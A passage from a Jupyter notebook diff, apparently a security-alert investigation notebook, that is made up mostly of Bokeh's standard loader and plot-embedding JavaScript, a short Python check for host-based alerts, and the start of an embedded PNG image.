"\n", + "
\n", + " \n", + " Loading BokehJS ...\n", + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "\n", + "(function(root) {\n", + " function now() {\n", + " return new Date();\n", + " }\n", + "\n", + " var force = true;\n", + "\n", + " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", + " root._bokeh_onload_callbacks = [];\n", + " root._bokeh_is_loading = undefined;\n", + " }\n", + "\n", + " var JS_MIME_TYPE = 'application/javascript';\n", + " var HTML_MIME_TYPE = 'text/html';\n", + " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", + " var CLASS_NAME = 'output_bokeh rendered_html';\n", + "\n", + " /**\n", + " * Render data to the DOM node\n", + " */\n", + " function render(props, node) {\n", + " var script = document.createElement(\"script\");\n", + " node.appendChild(script);\n", + " }\n", + "\n", + " /**\n", + " * Handle when an output is cleared or removed\n", + " */\n", + " function handleClearOutput(event, handle) {\n", + " var cell = handle.cell;\n", + "\n", + " var id = cell.output_area._bokeh_element_id;\n", + " var server_id = cell.output_area._bokeh_server_id;\n", + " // Clean up Bokeh references\n", + " if (id != null && id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + "\n", + " if (server_id !== undefined) {\n", + " // Clean up Bokeh references\n", + " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", + " cell.notebook.kernel.execute(cmd, {\n", + " iopub: {\n", + " output: function(msg) {\n", + " var id = msg.content.text.trim();\n", + " if (id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + " }\n", + " }\n", + " });\n", + " // Destroy server and session\n", + " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", + " cell.notebook.kernel.execute(cmd);\n", + " }\n", + " }\n", + "\n", + " /**\n", + " * Handle when a new output is added\n", + " */\n", + " function handleAddOutput(event, handle) {\n", + " var output_area = handle.output_area;\n", + " var output = handle.output;\n", + "\n", + " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", + " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", + " return\n", + " }\n", + "\n", + " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", + "\n", + " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", + " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", + " // store reference to embed id on output_area\n", + " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", + " }\n", + " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", + " var bk_div = document.createElement(\"div\");\n", + " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", + " var script_attrs = bk_div.children[0].attributes;\n", + " for (var i = 0; i < script_attrs.length; i++) {\n", + " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", + " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", + " }\n", + " // store reference to server id on output_area\n", + " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", + " }\n", + " }\n", + "\n", + " function register_renderer(events, OutputArea) {\n", + "\n", + " function append_mime(data, metadata, element) {\n", + " // create a DOM node to render to\n", + " var toinsert = this.create_output_subarea(\n", + " metadata,\n", + " CLASS_NAME,\n", + " EXEC_MIME_TYPE\n", + " );\n", + " this.keyboard_manager.register_events(toinsert);\n", + " // Render to node\n", + " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", + " render(props, toinsert[toinsert.length - 1]);\n", + " element.append(toinsert);\n", + " return toinsert\n", + " }\n", + "\n", + " /* Handle when an output is cleared or removed */\n", + " events.on('clear_output.CodeCell', handleClearOutput);\n", + " events.on('delete.Cell', handleClearOutput);\n", + "\n", + " /* Handle when a new output is added */\n", + " events.on('output_added.OutputArea', handleAddOutput);\n", + "\n", + " /**\n", + " * Register the mime type and append_mime function with output_area\n", + " */\n", + " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", + " /* Is output safe? */\n", + " safe: true,\n", + " /* Index of renderer in `output_area.display_order` */\n", + " index: 0\n", + " });\n", + " }\n", + "\n", + " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", + " if (root.Jupyter !== undefined) {\n", + " var events = require('base/js/events');\n", + " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", + "\n", + " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", + " register_renderer(events, OutputArea);\n", + " }\n", + " }\n", + "\n", + " \n", + " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", + " root._bokeh_timeout = Date.now() + 5000;\n", + " root._bokeh_failed_load = false;\n", + " }\n", + "\n", + " var NB_LOAD_WARNING = {'data': {'text/html':\n", + " \"
\\n\"+\n", + " \"

\\n\"+\n", + " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", + " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", + " \"

\\n\"+\n", + " \"
    \\n\"+\n", + " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", + " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", + " \"
\\n\"+\n", + " \"\\n\"+\n", + " \"from bokeh.resources import INLINE\\n\"+\n", + " \"output_notebook(resources=INLINE)\\n\"+\n", + " \"\\n\"+\n", + " \"
\"}};\n", + "\n", + " function display_loaded() {\n", + " var el = document.getElementById(\"1313\");\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS is loading...\";\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " if (el != null) {\n", + " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", + " }\n", + " } else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(display_loaded, 100)\n", + " }\n", + " }\n", + "\n", + "\n", + " function run_callbacks() {\n", + " try {\n", + " root._bokeh_onload_callbacks.forEach(function(callback) {\n", + " if (callback != null)\n", + " callback();\n", + " });\n", + " } finally {\n", + " delete root._bokeh_onload_callbacks\n", + " }\n", + " console.debug(\"Bokeh: all callbacks have finished\");\n", + " }\n", + "\n", + " function load_libs(css_urls, js_urls, callback) {\n", + " if (css_urls == null) css_urls = [];\n", + " if (js_urls == null) js_urls = [];\n", + "\n", + " root._bokeh_onload_callbacks.push(callback);\n", + " if (root._bokeh_is_loading > 0) {\n", + " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", + " return null;\n", + " }\n", + " if (js_urls == null || js_urls.length === 0) {\n", + " run_callbacks();\n", + " return null;\n", + " }\n", + " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", + " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", + "\n", + " function on_load() {\n", + " root._bokeh_is_loading--;\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", + " run_callbacks()\n", + " }\n", + " }\n", + "\n", + " function on_error() {\n", + " console.error(\"failed to load \" + url);\n", + " }\n", + "\n", + " for (var i = 0; i < css_urls.length; i++) {\n", + " var url = css_urls[i];\n", + " const element = document.createElement(\"link\");\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.rel = \"stylesheet\";\n", + " element.type = \"text/css\";\n", + " element.href = url;\n", + " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + "\n", + " for (var i = 0; i < js_urls.length; i++) {\n", + " var url = js_urls[i];\n", + " var element = document.createElement('script');\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.async = false;\n", + " element.src = url;\n", + " if (url in hashes) {\n", + " element.crossOrigin = \"anonymous\";\n", + " element.integrity = \"sha384-\" + hashes[url];\n", + " }\n", + " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", + " document.head.appendChild(element);\n", + " }\n", + " };\n", + "\n", + " function inject_raw_css(css) {\n", + " const element = document.createElement(\"style\");\n", + " element.appendChild(document.createTextNode(css));\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " \n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var css_urls = [];\n", + " \n", + "\n", + " var inline_js = [\n", + " function(Bokeh) {\n", + " Bokeh.set_log_level(\"info\");\n", + " },\n", + " function(Bokeh) {\n", + " \n", + " \n", + " }\n", + " ];\n", + "\n", + " function run_inline_js() {\n", + " \n", + " if (root.Bokeh !== undefined || force === true) {\n", + " \n", + " for (var i = 0; i < inline_js.length; i++) {\n", + " inline_js[i].call(root, root.Bokeh);\n", + " }\n", + " if (force === true) {\n", + " display_loaded();\n", + " }} else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(run_inline_js, 100);\n", + " } else if (!root._bokeh_failed_load) {\n", + " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", + " root._bokeh_failed_load = true;\n", + " } else if (force !== true) {\n", + " var cell = $(document.getElementById(\"1313\")).parents('.cell').data().cell;\n", + " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", + " }\n", + "\n", + " }\n", + "\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", + " run_inline_js();\n", + " } else {\n", + " load_libs(css_urls, js_urls, function() {\n", + " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", + " run_inline_js();\n", + " });\n", + " }\n", + "}(window));" + ], + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1313\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1313\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + "\n", + "\n", + "\n", + "\n", + "\n", + "
\n" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "(function(root) {\n", + " function embed_document(root) {\n", + " \n", + " var docs_json = {\"e8dcd452-5299-45d1-a527-8338e9622a39\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1316\"},{\"id\":\"1348\"}]},\"id\":\"1384\",\"type\":\"Column\"},{\"attributes\":{\"below\":[{\"id\":\"1359\"},{\"id\":\"1364\"}],\"center\":[{\"id\":\"1362\"}],\"plot_height\":120,\"plot_width\":900,\"renderers\":[{\"id\":\"1370\"}],\"title\":{\"id\":\"1349\"},\"toolbar\":{\"id\":\"1363\"},\"toolbar_location\":null,\"x_range\":{\"id\":\"1351\"},\"x_scale\":{\"id\":\"1355\"},\"y_range\":{\"id\":\"1353\"},\"y_scale\":{\"id\":\"1357\"}},\"id\":\"1348\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"axis_label\":\"Event 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Application\",\"version\":\"2.1.1\"}};\n", + " var render_items = [{\"docid\":\"e8dcd452-5299-45d1-a527-8338e9622a39\",\"root_ids\":[\"1384\"],\"roots\":{\"1384\":\"9912c7f3-615d-455b-a0f8-d859798d6b3c\"}}];\n", + " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", + "\n", + " }\n", + " if (root.Bokeh !== undefined) {\n", + " embed_document(root);\n", + " } else {\n", + " var attempts = 0;\n", + " var timer = setInterval(function(root) {\n", + " if (root.Bokeh !== undefined) {\n", + " clearInterval(timer);\n", + " embed_document(root);\n", + " } else {\n", + " attempts++;\n", + " if (attempts > 100) {\n", + " clearInterval(timer);\n", + " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n", + " }\n", + " }\n", + " }, 10, root)\n", + " }\n", + "})(window);" + ], + "application/vnd.bokehjs_exec.v0+json": "" + }, + "metadata": { + "application/vnd.bokehjs_exec.v0+json": { + "id": "1384" + } + }, + "output_type": "display_data" + } + ], "source": [ "if not security_alert.primary_host:\n", " md_warn('Related alerts is not yet supported for alerts that are not host-based')\n", @@ -409,14 +2164,25 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 11, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:57.587177Z", "start_time": "2020-05-16T02:14:57.110178Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "image/png": 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